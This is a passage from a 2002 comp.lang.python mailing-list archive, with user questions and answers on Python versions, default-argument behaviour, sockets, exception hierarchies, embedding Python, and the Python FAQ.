gives a great deal of explanation on this, still I beleive it isn't simple enough for me :-). I will be thankful if someone can explain me with a simple example or provide me a pointer to a document on the net. Thanks for your time. Hari, harisri at bigpond.com From nickb at earth.ox.ac.uk Wed May 1 17:35:37 2002 From: nickb at earth.ox.ac.uk (Nick Belshaw) Date: Wed, 01 May 2002 22:35:37 +0100 Subject: duh - which Python? Message-ID: <3CD05FA9.458E76C@earth.ox.ac.uk> Hi - I would be very grateful for a little advice. I am configuring a new Linux RedHat7.2 box and have become confused about which Python vesion I should go for. I need it to run with Zope, Pmw, Blt, Postgres - at least...... I have been using old stuff with 1.5.2 but thought an upgrade would be 'fun' - however !! - I note that Python 2 has a number of versions up to 2.2.1 but Pmw.Blt will not run with Python2.2 and I saw a note saying Zope crashed with 2.1.3 and I was presuming earlier versions of 2 might be a bit buggy or is 2.0.1 ok if I don't want fancy extensions? soooooooo - I got a bit confused. Should I stick with 1.5.2, is 2.0.1 what I need or can someone tell me how to get Pmw.Blt going with 2.2.1. - to stay with 1.5.2 would seem a little sad. thanks if anyone can help /N From warlock at eskimo.com Sun May 12 23:11:50 2002 From: warlock at eskimo.com (Jim Richardson) Date: Sun, 12 May 2002 20:11:50 -0700 Subject: which db should I use? Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I have a project that I want to do with python. It involves a database table with some 100,000 rows, total size about 400MB and climbing. I will be adding about 700 rows a day, and occasionally want to do a query, but only occasionally. (I am putting all the posts from an active newsgroup in to a db for data gathering, and to learn python and sql stuff) But I don't know which db module would work better for me?I am running this on a linux box, and cross platform is not a big deal, I am looking at both postgres and mysql. Since I have 0 experience with either one especially in context of interfacing with python. I'd like suggestions please. thanks all -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE83y71d90bcYOAWPYRAiFGAJ0eV35OKRXqcHMXx3Aw6YiuXptn+ACdEGG0 Q4IkJaUeD3j9zxpFuuTPw0A= =YBHr -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From peter at engcorp.com Sun May 26 01:08:08 2002 From: peter at engcorp.com (Peter Hansen) Date: Sun, 26 May 2002 01:08:08 -0400 Subject: Bug?? reusing objects References: Message-ID: <3CF06DB8.F1B4E1FB@engcorp.com> Damian Menscher wrote: > > The following test program demonstrates what I believe is a bug: > ------------------------------------------------------------- > #!/tmp/Python-2.2.1/python > > class foobar: > def __init__(self, string=[]): > self.data = string [snip example using default parameter] > ------------------------------------------------------------- > If this is expected behavior, could someone please explain it? > Otherwise, I'll be happy to file a bug report. Not a bug. Default parameters are evaluated once at function definition time, and used repeatedly thereafter. There is only one empty list there, no matter how many times you create a new object. Works for simple functions too: >>> def fun(test=[]): ... test.append('x') ... print test ... >>> fun() ['x'] >>> fun() ['x', 'x'] I believe this is a FAQ... -Peter From emile at fenx.com Mon May 13 20:04:58 2002 From: emile at fenx.com (Emile van Sebille) Date: Tue, 14 May 2002 00:04:58 GMT Subject: How can I convert a string using re.compile References: <11b62679.0205131526.5f1b6fed@posting.google.com> Message-ID: young-il sohn > How can I convert the string 'a = [1 2 3;4 5 6;6 7 8]' > to other string 'a = [[1,2,3],[4,5,6],[7,8,9]]' ? > > Numeric values can have various forms such as 3.2, -4, 3e+3, 3e-2, > 3E+10, 3E-2 and so on. Space can be inserted in the list. This seems to work s = 'a = [1 3.2 -3 ; 4e+3 5e-2 6e+10; 6.2 7 8e+1]' def nummify(val): if val.startswith('['): val =val[1:] if val.endswith(']'): val = val[:-1] try: float(val) return val except: raise ValueError print s.split('=')[0]+" = "+`[[nummify(jj) for jj in ii.split()] for ii in s.split('=')[-1].split(";")]` -- Emile van Sebille emile at fenx.com --------- From anders at gamebox.net Sun May 19 11:15:45 2002 From: anders at gamebox.net (ando) Date: 19 May 2002 08:15:45 -0700 Subject: where can i get xchat.py Message-ID: I've been trying to find the XChat.py-module but it seems I'm not especially good at it. Help anyone? From pyth at devel.trillke.net Fri May 31 13:21:34 2002 From: pyth at devel.trillke.net (holger krekel) Date: Fri, 31 May 2002 19:21:34 +0200 Subject: backward/forward compatibility in PYTHON? In-Reply-To: ; from mertz@gnosis.cx on Fri, May 31, 2002 at 01:01:37PM -0400 References: Message-ID: <20020531192134.U17248@prim.han.de> Lulu of the Lotus-Eaters wrote: > holger krekel wrote previously: > |- if you know you are using e.g. python2.2 features you might > | want to code a one-line assertion like > | > | asssert(sys.version_info[:2]>=(2,2)) > > >>> import sys > >>> assert(sys.version_info[:2]>=(2,2)) > Traceback (innermost last): > File "", line 1, in ? > AttributeError: version_info > > Of course, it *does* work in Python 2.2 :-). of course :-) just for completeness: one has to fiddle with the 'sys.version' - string to get sane behaviour from 1.5.2 onwards. holger From wyojustin at hotmail.com Tue May 21 20:30:14 2002 From: wyojustin at hotmail.com (Justin Shaw) Date: Wed, 22 May 2002 00:30:14 GMT Subject: list prob References: Message-ID: Gabe's solution will work as long as you don't need and exact match. I think you are on the right track as long as you aren't afraid to handle an exception. try: i = list.index("word to search") except ValueError: i = DEFAULT "Gabe Newcomb" wrote in message news:mailman.1022018678.1352.python-list at python.org... string.find() returns -1 if the string isn't found, instead of the ValueError thrown by string.index() -----Original Message----- From: kemu [mailto:kemusoft at hotmail.com] Sent: Tuesday, May 21, 2002 2:49 PM To: python-list at python.org Subject: list prob I want to search a list if I do list.index("word to search") and the word isn't in the list I get an error I don't want to get one from python but want my own error like word is not in the list how ? or is there an other way to search the list for strings and if he doesn't find one he doesn't print an error ? -- http://mail.python.org/mailman/listinfo/python-list From peter at engcorp.com Wed May 15 19:49:34 2002 From: peter at engcorp.com (Peter Hansen) Date: Wed, 15 May 2002 19:49:34 -0400 Subject: no buffer space available error References: <83lmangql2.fsf@panacea.canonical.org> Message-ID: <3CE2F40E.DFB2C61B@engcorp.com> sebastien wrote: > > I have simplified the program so that you can count the number of > socket open at a time. > > 1) I have checked that all the sockets open are closed (see the code) There's no guarantee that close() for a socket will actually release all the resources. If you open a bunch of client sockets and then close them, I believe you'll see with 'netstat' that they are in some kind of CLOSE_WAIT state, which might persist for a while. This may or may not reduce the number of sockets that the OS makes available. Another thing you might investigate is Socket.shutdown() ... Also, it's recommended usually that you use the 'threading' module instead of 'thread'... -Peter From kragen at pobox.com Tue May 28 18:19:24 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 28 May 2002 18:19:24 -0400 Subject: extended list comprehensions References: Message-ID: <83g00bud8z.fsf@panacea.canonical.org> "Andrew Dalke" writes: > F. Jamitzky: > >It would be great to have something like a list comprehension for the > >reduce function. > ... > >and maybe it could be written as: > > > >{y=y+x for x in xs} <-would be-> reduce(operator.add,xs) > > I use reduce so infrequently that I wouldn't think this is useful. > How often do you use it? Not as often as I could. It's general enough that just about any aggregate operation can be expressed in terms of it, usually as simply as it could be in a loop, and often more simply. As a simple example, see http://lists.canonical.org/pipermail/kragen-hacks/2002-May/000343.html for 'map' and 'filter' are expressed in terms of 'reduce', in Python and Common Lisp. > That's enough to make me believe your syntax would be confusing. > (As it is, 'reduce' is confusing.) Which is probably why it's not used as much as it could be... > But given that, if y doesn't exist before the {} is called, your > argument is that it should implicitly be set to 0. This then would > be one of the few places in Python with a default value, outside of > a function parameter definitions. If reduce doesn't get a 'start' argument, it starts with y set to the first item in the list; you could do the same for "reduce comprehensions". That said, I think "reduce comprehensions" as presented are a terrible idea; unlike list comprehensions, they are not an improvement in readability over the corresponding explicit loop, and they are not an improvement in readability over the corresponding call to 'reduce'. From p.a.dumay at rheagroup.com Fri May 10 04:13:29 2002 From: p.a.dumay at rheagroup.com (Pierre-Andre Dumay) Date: 10 May 2002 01:13:29 -0700 Subject: Embedding Python in VB Message-ID: <40db6069.0205100013.7aed5ba8@posting.google.com> Hi Guys, I have succesfully embedded the Python interpreter in a C application that calls the documented high level C-routines. I would like now to call these routine Py_Initialize(), Py_RunSimpleString directly from VB code. I declared these functions from the Python22.dll in my header as I would normally do with any other function calls to another windows dll but it doesn't seem to work. What am I doing wrong ? Thank you for your help. Pierre-Andre From starx at pacbell.net Wed May 8 07:23:06 2002 From: starx at pacbell.net (Philip Swartzleonard) Date: 8 May 2002 11:23:06 GMT Subject: Exception handling References: Message-ID: Michael Hudson || Wed 08 May 2002 03:58:31a: > J?rvinen Petri writes: > >> Hello >> >> Is it possible to use dynamic binding in exception handling like in >> C++. >> >> I mean can I catch baseclass exception in my exception handler and >> get all the derived classes catched aswell, like > > Yes. Didn't you try it? Although A should have Exception amongst > it's base classes... Should it? I've been meaning to ask, but I haven't been pythoning much lately so it hasn't come up again. When defining your own exception heirarcy, should you derive from the standard exception class or just start from scratch, and why? Also, what about raising things like strings as exceptions (which i've done in exapmle classes for CIS/DS projects, e.g. 'Raise "Linked list is empty, please verify with is_valid"' or whatever just for documention really). Please respond in three to four pages of doublespace twelve point standar serif font, in a well-organized, coherent manner that displays your knowledge of vocabulary and termanology learned in this newsgroup, while remaining understandable to people who have never heard of exceptions or programming before. (Sorry, it's that time of year again... that's what my humanities paper seems to be asking of me ;_; ;) -- Philip Sw "Starweaver" [rasx] :: www.rubydragon.com From rowen at cesmail.net Fri May 3 14:18:02 2002 From: rowen at cesmail.net (Russell E. Owen) Date: Fri, 03 May 2002 11:18:02 -0700 Subject: Python networking question Message-ID: I am writing a Python GUI networking client (presently in Tkinter, though I hope to switch to wxPython) and have a question... What is the recommended way to do network I/O from Tkinter or wxPython? Presently I'm using Tkinter file/socket events for read. This makes tons of sense to me. Data appears on the socket, triggering an event, calling my code. No wasted cpu cycles polling. However, I haven't figured out how to do write properly. I'm afraid a simple blocking write may jam up my GUI if something goes wrong with the connection (but it's what I'm using now). I can't figure out how to make Tkinter file/socket event for write be useful. I'll have an occasional command to send, and meanwhile it seems silly for a file event on the socket to keep calling some routine of mine every time the socket is willing to accept output. Should I use select instead, and does it even work with Tkinter's event loop or with wxPython? The fact that select uses a polling loop does not sound, on the face of it, very efficient. But on the other hand, it's completely standard -- the code wouldn't change if I switched GUI toolkits. And I think I basically understand how to do write with select (though sample code would be appreciated). Any advice or pointers to advice (is there's a good book on the subject?) would be much appreciated. -- Russell From a-steinhoff at web.de Fri May 3 15:14:08 2002 From: a-steinhoff at web.de (Armin Steinhoff) Date: 3 May 2002 12:14:08 -0700 Subject: Unpacking a python list in C? References: Message-ID: Michael Hudson wrote in message > QNX... the OS that walks like a duck, quacks like a duck, but is, > in fact, a platypus. ... the adventures of porting duck software > to the platypus were avoidable this time. > -- Chris Klein, alt.sysadmin.recovery BTW ... a port of Python 2.2 for QNX6 is available at http://www.sf.net/projects/pyqnx It works like a rocket :) There are also bindings for the native message passing of QNX6 available for client/server applications (shared object module). wxPython 2.3.2 works very well with XPhoton and XFree86 4.2 !! The recent Pyrex stuff is also working ... Just to keep you informed ! From tom_verbeure at hotmail.com Fri May 3 07:22:24 2002 From: tom_verbeure at hotmail.com (Tom Verbeure) Date: 3 May 2002 04:22:24 -0700 Subject: Perl-like backtick in Python References: <3CD18BF3.2F43AA4A@alcyone.com> <3CD1BD60.6B54FF90@alcyone.com> Message-ID: Ok, now I see. I mistakenly assumed that this would involve pipes and such. Thanks! Tom > > That would be very ugly, wouldn't it? > > Uh, why? > > lines = os.popen("ls -l").readlines() From gustav at morpheus.demon.co.uk Fri May 31 09:20:12 2002 From: gustav at morpheus.demon.co.uk (Paul Moore) Date: Fri, 31 May 2002 15:20:12 +0200 Subject: Installer vs py2exe: Windows DLLs Message-ID: When building a distribution for the same script using Gordon McMillan's Installer and py2exe, I notice that Installer includes PyWinTypes22.dll and win32api.pyd, whereas py2exe doesn't. Both executables run fine, so these 2 DLLs are clearly not needed in practice. Why is there a difference, and can Installer be made to exclude these two files when they are not needed, as py2exe does? More to the point, in some ways, why does Installer think these files are needed? Is there some situation in which py2exe generated executables will fail because these files aren't there? Paul. From loewis at informatik.hu-berlin.de Fri May 24 13:29:00 2002 From: loewis at informatik.hu-berlin.de (Martin v. =?iso-8859-1?q?L=F6wis?=) Date: 24 May 2002 19:29:00 +0200 Subject: Validating XML DOM parser with PyXML (0.7.1) References: Message-ID: "Gillou" writes: > * Returned objects should have the xml.dom.minidom (like) API. Then I recommend that you create a SAX parser (e.g. through xml.sax.sax2ext.XMLValParserFactory, or by directly specifying "xml.sax.drivers2.drv_xmlproc" to make_parser). With the SAX parser, you build a 4DOM tree (using xml.dom.ext.reader.Sax2). > * I want to "plug in" my own DTD in the document to validate XML without > doctype declaration. This *should* work by specifying a SAX entity handler, but you will need to experiment. I suggest that you get to work the rest of this first, and change your solution to incorporate that feature afterwards. > * Register my handlers for parser errors. You need to set an error handler with the SAX parser. >* I need to get original encoding from xml declaration version="1.0" > encoding="whatsthat"?> You will need to look at the input_encoding attribute of the xmlproc parser when parsing is done. Notice that, in presence of external entities, different parts of the document may have different encodings - so "the original encoding" may not be a meaningful term. > Can someone post me some sample that does this or give me a "good" > howto URL. Sample code that does exactly this is not available, as your requirements are quite specific. I suggest that you, instead, post the fragments that you have (or will come up with), and ask specific questions about those. Regards, Martin From cliechti at gmx.net Wed May 22 18:20:53 2002 From: cliechti at gmx.net (Chris Liechti) Date: 23 May 2002 00:20:53 +0200 Subject: slice objects vs. [] References: Message-ID: quinn at regurgitate.ugcs.caltech.edu (Quinn Dunkan) wrote in news:slrnaeo558.eje.quinn at regurgitate.ugcs.caltech.edu: > On Wed, 22 May 2002 15:12:13 -0600, Fernando P?rez > wrote: >>Quinn Dunkan wrote: >> >>> This seems to imply that [].__getitem__ should accept a slice >>> object. Currently I am writing >>> >>> def __getitem__(self, k): >>> if type(k) is type(slice(0)): >>> return self.data[k.start:k.end] >>> else: >>> return self.data[k] >>> >>> ... which is awkward, in addition to losing k.step. >>> >>> BTW, is there any particular reason slice() is not a type? I >>> expected to be able to write 'isinstance(k, slice)'. >>> >> >>The docs are a bit outdated, I think. They don't describe >>__getslice__, which is what you want. Her's an example from my code: > > Actually, they do describe __getslice__, with the words "Deprecated > since release 2.0. Support slice objects as parameters to the > __getitem__() method." that __getitem__ does not work with slices, aplies only built-in types and subclasses of it. i think this is rooted in the C implementation of those object (the two methods are still separate there) that might change when the type/class unification gets further or in Python 3.0. however it works perfectly for user defines classes, as described in the docs: >>> class A: ... def __getitem__(self, item): ... print item ... >>> a=A() >>> a[1:2] slice(1, 2, None) > __getslice__ is still supported for backward compatibility though, but > > def __getitem__(self, k): return self.data[k] > def __getslice__(self, i, j): return self.data[i:j] > > ... is still somewhat clumsy and still fails if you pass a step. I > would like to say > > self.__getitem__ = self.data.__getitem__ > -- Chris From pinard at iro.umontreal.ca Sun May 19 21:18:04 2002 From: pinard at iro.umontreal.ca (=?iso-8859-1?q?Fran=E7ois?= Pinard) Date: 19 May 2002 21:18:04 -0400 Subject: Where to find python code beautifier ? In-Reply-To: References: Message-ID: [Fran?ois Pinard] > > A human can do that, but it is less easy when Python code is > > automatically generated. This is the case in one of my projects, > > and because of this, I do have a Python beautifier in the works. [David LeBlanc] > Did you take a look at pindent.py in the tools/scripts directory? > Read the comment at the top of the file. Yes, I'm aware of `pindent.py'. The problem I got is not really with line indentation (which is fairly easy to generate correctly), but rather with breaking long lines into continuation at convenient places, and using some reasonable indentation for continuation lines. In this, choices already made by the Emacs mode designers have been good sources of ideas. Nice use of white space within a source line also requires some care. -- Fran?ois Pinard http://www.iro.umontreal.ca/~pinard From kragen at pobox.com Tue May 14 02:30:07 2002 From: kragen at pobox.com (Kragen Sitaker) Date: 14 May 2002 02:30:07 -0400 Subject: sys.argv and while loop References: Message-ID: <83offjgs28.fsf@panacea.canonical.org> "Sean 'Shaleh' Perry" writes: > "if September is greater than the moon: do_this()" makes no sense to me either. > I do not fault the language for failures of programmers (-: One of the things I like about Python is that it helps me discover my failures; when I ask it a nonsensical question, it tells me the question is nonsense, rather than giving me a nonsensical answer. From warlock at eskimo.com Sun May 5 16:34:10 2002 From: warlock at eskimo.com (Jim Richardson) Date: Sun, 5 May 2002 13:34:10 -0700 Subject: degrees and radians. References: <3cd54503$0$237$cc9e4d1f@news.dial.pipex.com> Message-ID: <2054ba.6bc.ln@127.0.0.1> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sun, 05 May 2002 13:51:42 -0600, Fernando P?rez wrote: > Jim Richardson wrote: > >> sorry, I wasn't very clear, in the above example, the result I am >> looking for is >> >>>>>a=(1,2) >>>>>b=(2,3) >>>>>a+b >> (3,5) >> >> >> if that makes sense, I don't want to append, I want to add. >> > > Use Numeric for that (unless you want to write your own code, of course). Its > arrays work in this way, which is different to that of python's normal > sequence types. > > cheers, > this would be the numeric python module? -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE81ZdCd90bcYOAWPYRAsghAJ9Mj6amq90GuRI0SKMECCZIpoC2PwCdED3F iCnr6xUE4/NuBU6AkpmFL1o= =NUYB -----END PGP SIGNATURE----- -- Jim Richardson Anarchist, pagan and proud of it http://www.eskimo.com/~warlock Linux, from watches to supercomputers, for grandmas and geeks. From jepler at unpythonic.net Tue May 7 15:31:23 2002 From: jepler at unpythonic.net (Jeff Epler) Date: Tue, 7 May 2002 14:31:23 -0500 Subject: variable length print format In-Reply-To: References: Message-ID: <20020507143122.B13037@unpythonic.net> # if your version doesn't have zip, #zip = lambda *args: apply(map, (None,) + args) # This is like the new proposed builtin 'enum' except that # 'base' specifies the ordinal corresponding to the first item # in the sequence. Depending on the phase of the moon, range may # be preferable to xrange my_enum = lambda seq, base=0: zip(xrange(base, base+len(seq)), seq) # This is a cheap 'flatten' for two-level structures l = [] le = l.extend [le(item) for item in my_enum(List, 1)] formatstr = "%s:%s\n" * len(List) print formatstr % tuple(l), I'm not convinced it'll save much over the simpler sys.stdout.writelines(["%s:%s\n" % item for item in my_enum(List, 1)]) but maybe it will. From benpark22 at yahoo.com Fri May 3 16:36:16 2002 From: benpark22 at yahoo.com (Ben Park) Date: 3 May 2002 13:36:16 -0700 Subject: Porting scalapack to python Message-ID: <4cc96c48.0205031236.40a76068@posting.google.com> Is there a scalapack module for python? From martin at v.loewis.de Wed May 1 16:17:40 2002 From: martin at v.loewis.de (Martin v. Loewis) Date: 01 May 2002 22:17:40 +0200 Subject: FromXMLString wanted. References: Message-ID: Doru-Catalin Togea writes: > I have now upgraded to ActiveState Python 2.2, pyxml 0.7, and it complains > for the existence of non english characters, EVEN WHEN SPECIFYING THE > ENCODING, as above! That would be a bug in PyXML. Can you please produce a complete bug report (Python code and XML input), and submit this to sf.net/projects/pyxml? Thanks, Martin From greg at cosc.canterbury.ac.nz Tue May 14 22:35:27 2002 From: greg at cosc.canterbury.ac.nz (Greg Ewing) Date: Wed, 15 May 2002 14:35:27 +1200 Subject: Multibyte Character Surport for Python References: <83d6vzgngy.fsf@panacea.canonical.org> Message-ID: <3CE1C96F.ED19AFF4@cosc.canterbury.ac.nz> Alex Martelli wrote: > > we can't really count illiterates as candidate > programmers, I think -- despite all of the "point and grunt" rhetoric). But haven't you heard of the CP4P&G initiative (Computer Programming for Pointers and Grunters)? And the working subcomittee for establishing a point-and-grunt encoding for Unicode is due to report any day now... -- Greg Ewing, Computer Science Dept, University of Canterbury, Christchurch, New Zealand To get my email address, please visit my web page: http://www.cosc.canterbury.ac.nz/~greg From delgado at eva17.Mathematik.Uni-Bielefeld.DE Sun May 12 19:55:47 2002 From: delgado at eva17.Mathematik.Uni-Bielefeld.DE (Olaf Delgado) Date: 12 May 2002 19:55:47 MET Subject: Rationals and Linear Programming in Python References: Message-ID: Noah Spurrier wrote: >Can anyone point me to the current state of the art in >Rational number modules for Python? I'm surprised that >Numerical Python does not do rationals. I use crat by Christopher Craig. It's written in C, uses Python's own long integers and an optimized gcd routine, so it's pretty fast. A gmp based module might be faster in some situation because of their supposedly more efficient integer type, but I haven't checked that. http://cvs.sourceforge.net/cgi-bin/viewcvs.cgi/pythonic/crat/ There are separate versions for Python 2.1 and 2.2 in the CVS. Older versions are not supported as far as I've seen. Olaf From quitelikely at yahoo.com.au Wed May 1 11:51:47 2002 From: quitelikely at yahoo.com.au (Patrick W) Date: 02 May 2002 01:51:47 +1000 Subject: Python vs. Perl, which is better to learn? References: <826628efe5.fsf@acropolis.localdomain> <9F74AA1B18A57488.23FAAF6892B1E10D.AAAE27FF654FB148@lp.airnews.net> Message-ID: <82znzjsw6k.fsf@acropolis.localdomain> claird at starbase.neosoft.com (Cameron Laird) writes: > > [...] You are right that it's con- > siderably more expensive to learn two > languages, or a mix of two languages, than > a single one. One has to expect that there's > a far greater return-on-investment for > learning the first, than the second. This > puts a premium, of course, on making a cor- > rect choice for the first. Indeed. I'm sure you understand me, but let me elaborate: import IMHO and sprinkle it liberally throughout. A programmer ought to know at least four languages in depth. If those four languages are well chosen, they can last a lifetime. If they lack certain features that come pre-packaged elsewhere, it's far better to acquire the _concepts_ and _techniques_ implicit in them, and implement them in your chosen language(s), as opposed to madly accumulating new notations simply because they possess a convenient feature or two. I think this popular notion of "right tools for the right job" is actually very harmful, both to individuals and to the science/industry as a whole. To stick with the tradesman metaphor for a moment, I think it creates a culture in which programmers are encouraged to become "jack of all trades, master of none." Resumes may be stuffed full of impressive sounding acronyms, but programmers actually don't know as much as they once did. It's not because we're stupid (although the barrier to entry is considerably lower these days); it's partly a result of having too many alternative implementation details to learn. When depth is sacrified for breadth, beyond a certain point, it becomes a very bad thing. To make sensible choices up front, and to focus on a few languages and topics to the exclusion of many others is the only way to go. That's why I reject this "learn them both" approach, unless the languages are different enough in purpose and style and philosophy to make them both worthwhile and complementary. So, choice is necessary, but what to choose? IMHO, the best choices for starters are: * One of [C, C++] for maximum efficiency, minimal overhead and an understanding of the low-level foundations of higher level facilities. * One of [Python, Perl, Python, Ruby, Python, Tcl, Python] for general purpose programming and scripting. For my money, Python is the clear winner in this category. It's great for everything from text processing and os scripting through to graphics, multimedia, comms, database programming, web development, etc. It's just as much fun for skilled hackers as it is for beginners. * Something that encourages a different style of thinking. My own favourite (for this purpose) is Lisp. I feel that Lisp is powerful enough to handle anything I'll ever throw at it, and it's flexible enough to incorporate any new programming paradigms that computer scientists are brilliant (or crazy, or foolish) enough to think up. * Whatever else turns you on. > So far, we're conversing rather abstractly. > In the specific case of Perl vs. Python, I > contend that: > 1. their functional roles are quite > similar; > 2. both languages are "lightweight" > in the sense that one can start > to use them with only a few hours > spare time; and Yes. > 3. their "subjective" applicability > is rather polarized. > > [ trimmed ] > > My conclusion: *experience* both languages > (a modest investment), decide for yourself the > "first impression" each makes, pick the one > that feels right, then *learn* that language, > with confidence that you're missing little by > choosing only that one. Absolutely. Then extend it with concepts and techniques from many other sources. There's far more value in that than in learning a new notation every few months (provided the initial choices are good ones). From peter at engcorp.com Fri May 10 23:18:51 2002 From: peter at engcorp.com (Peter Hansen) Date: Fri, 10 May 2002 23:18:51 -0400 Subject: NameError: Case mismatch for module name sys References: <3cdbe559$0$155@ams2eusosrv31.ams.ops.eu.uu.net> <3cdbeff9$0$154@ams2eusosrv31.ams.ops.eu.uu.net> <3CDC888D.E2681CD@engcorp.com> Message-ID: <3CDC8D9B.95F23F69@engcorp.com> Peter Hansen wrote: > > You could do this, though it's pretty ugly: > > import sys > if sys.path[0] == '': > sys.path.remove('') > sys.path.append('') > > which will strip the current directory from the list of directories > in the python search path and add it again at the end. I doubt this > is recommended and I can think of a few ways this could spell trouble. > But it might work. Could also just remove the "if" from the above. And hope you don't have '' in there more than once. This is a hack. > A better approach is just to rename some files. Is there really any > reason you can just 'ren Sys.py sys2.py' for example? ^^^ D'oh! I meant "can't", of course. From ken at hotmail.com Fri May 31 20:34:41 2002 From: ken at hotmail.com (Ken) Date: Sat, 1 Jun 2002 10:34:41 +1000 Subject: HTML and python Message-ID: How do you call to a static HTML page from the script? This doesn't seem to be working..... Can someone help? Thanks From dalke at dalkescientific.com Wed May 22 18:19:55 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Wed, 22 May 2002 16:19:55 -0600 Subject: y=if x>High: 2 elif x <3CEC15F0.DF78A4F@earthlink.net> Message-ID: Hans Nowak wrote: >You mean, putting everything on one line? No. The best >you can get here is > > if x > high: y = 2 > elif x < low: y = 1 > else: y = 0 > >It may be possible to put everything on one line using >some obfuscated functional idiom, but I won't go there. :-) No problem, I will y = (x>high)*2 + (x Message-ID: Sebastien SAUVAGE wrote in news:2002529-10584-626303 at foorum.com: > I'm looking for a convenient way for browsing *offline* the > marvellous comp.lang.python archive (a nice 397 Mb mailbox file > available at http://mail.python.org/pipermail/python-list/ ) > > I found no news client capable of reading/importing a raw unix > mailbox. Does anybody know a news client capable of this ? > (platform : Windows) XNews http://xnews.newsguy.com/ uses that format too. (create an archive and replace the file with yours) (very nice NNTP client) Opera, the mail client, just replace an existing mailbox file with yours. don't know if both can handle the full 400MB in a single file, maybe you need to split it up chris -- Chris From whisper at oz.net Thu May 23 13:07:04 2002 From: whisper at oz.net (David LeBlanc) Date: Thu, 23 May 2002 10:07:04 -0700 Subject: "casting" Python objects In-Reply-To: Message-ID: > -----Original Message----- > From: python-list-admin at python.org > [mailto:python-list-admin at python.org]On Behalf Of djw > Sent: Wednesday, May 22, 2002 20:08 > To: python-list at python.org > Subject: Re: "casting" Python objects > > > > you're thinking in a strongly typed manner - but python is dynamicly > typed. > > the variable msg is not typed. it can hold any object, including > subclasses > > of your Message class - no cast needed. > > thats why some people speak of 'bind an object to a name' rather than > > 'assign a value to a variable'. > > > Hmmmm... I don't think I understand when you say "variable 'msg' has no > type"... > > Here is my simple analogous example: > > class a: > def a(self): > print "a" > > class b(a): > def b(self): > print "b" > > >>>x=a() # analogous to jabber.Message > >>>x.b() # analogous to FooMsg > Traceback (most recent call last): > File "", line 1, in ? > AttributeError: a instance has no attribute 'b' > > To me, this clearly shows that 'x' is of type 'a', not of type > 'b'. I agree > that I can then easily do this: > > >>> x=b() > >>> x.b() > b > > So, yes, x can dynamically change types to another type, but it > can only be > _one_type_at_a_time! Right??? > > > In my original post, the Queue was put() with types of > jabber.Message. When > you get() them from the Queue, they come off as type jabber.Message. In > order to call a FooMsg method on a message, their type must somehow be > changed to type FooMsg (or something like that). > > So, to continue my above example: > > >>> import Queue > >>> q = Queue:Queue() > >>> x=a() > >>> q.put(x) > >>> y=q.get() > >>> y.b() > Traceback (most recent call last): > File "", line 1, in ? > AttributeError: a instance has no attribute 'b' > > Fails because 'y' is of type 'a' not of type 'b' > > Somebody please correct me if I'm wrong here! > > :-) > > D Close, but no cigar... :-) class a: def handler(self): print "Class a" class b: def handler(self): print "Class b" x = a() # x is an a x.handler() x = b() # x is a b x.handler() x = "foo" # x is a string print x The type of the variable is the type of whatever it happens to have in it, not what it's allowed to have in it as in more type constrained languages. If you have to have method names that differ by message type, then subclass the message classes to have a commonly named method like handler that calls the type-specific method. FWIW, you might want to look into inheritance and polymorphism :-) Regards, Dave LeBlanc Seattle, WA USA From ChrisE at lantech.com Thu May 9 09:52:41 2002 From: ChrisE at lantech.com (Christopher Encapera) Date: Thu, 9 May 2002 09:52:41 -0400 Subject: TIF join utility Message-ID: >"Jose Isaias Cabrera" wrote in >news:mailman.1020894194.16421.python-list at python.org: > > Anyone has played joining two TIFs? Any code available? > >i case you're speacking of TIFF, the tagged image file format, you could >try out PIL which has a rich set of image manipulation and import/export >functions. > >http://www.pythonware.com/products/pil/ > >chris > >-- >Chris Being a network admin in an all microsoft shop (Windrone and proud of it ;), my programming experience barely extends beyond log-on scripts. However, I was able to use Python and an commercial ActiveX control (http://www.informatik.com/tiffdll.html it is <$200) to append many TIF's together in a fax consolidation project. The PIL documentation just was not able to stoup to my low level ;) From dalke at dalkescientific.com Thu May 2 02:06:10 2002 From: dalke at dalkescientific.com (Andrew Dalke) Date: Thu, 2 May 2002 00:06:10 -0600 Subject: Newbie: finding the key/index of the min/max element References: <200204302300.g3UN0kkG002462@ratthing-b246.strakt.com> <3CCF4F66.BA0A5DD4@cascade-sys.com> Message-ID: James J. Besemer: >A traditional solution for this would be for someone to write and maintain a >FAQ for the list. Perhaps like http://www.python.org/cgi-bin/faqw.py ? (Go to python.org, follow link to FAQ. Actually, there are two links to the FAQ on that page, the other being to http://www.python.org/doc/FAQ.html ) Alex: > [a] explicit block delimiters, http://www.python.org/cgi-bin/faqw.py?req=show&file=faq06.002.htp Alex: > [b] join as a method of all the possible sequences and not of > joiner-objects, http://www.python.org/cgi-bin/faqw.py?req=show&file=faq04.096.htp Alex: > [c] hygienic macros, Hmm. This isn't all that frequently asked. There is no FAQ entry for it. Alex: > [d] booleans -- oops forget I mentioned the latter, since > they're now BDFL-blessed cruf^H^H^H^H brilliant innovations...:-). I don't think I saw people asking for it before it was added. At least not enough to seem repetitive. Were I Alex I would have included the ternary operator and expression assignments instead of these last two. James J. Besemer: > By tradition, list FAQs can prominently feature a list of >arbitrary topics that are strictly off limits. New members can be pointed >to the FAQ and people who willfully disregard the FAQ can be dealt with. I wouldn't say it's strictly off limits. I would say at least in the context of comp.lang.python that it's not considered impolite to respond simply with a link to the FAQ entry, with no other text. And "dealt with" sounds more harsh that I would like to be, and would like the group to be. This has never been a group where RTFM has been considered the acceptable response to a beginner question. At the very least, it can't be off-topic because it may be that the FAQ entry itself is not definitive and needs to be improved. >People like myself are perfectly capable of >following rules that are clearly posted and duly established, as opposed to >individual complaints that for all we know are merely one person's opinion. >Of course the FAQ itself would have to be vetted by the group, so it truly >represents a consensus. A good FAQ is a non-trivial amount of work. Any >volunteers? Then why didn't you find the FAQ? What can be done to make it more visible? It's been around for at least 6 years that I can recall and the number 1 hit on Google for "python faq" is the static FAQ page at http://www.python.org/doc/FAQ.html I've contributed to the FAQ, and Alex has contributed both to it and to the ASPN Python 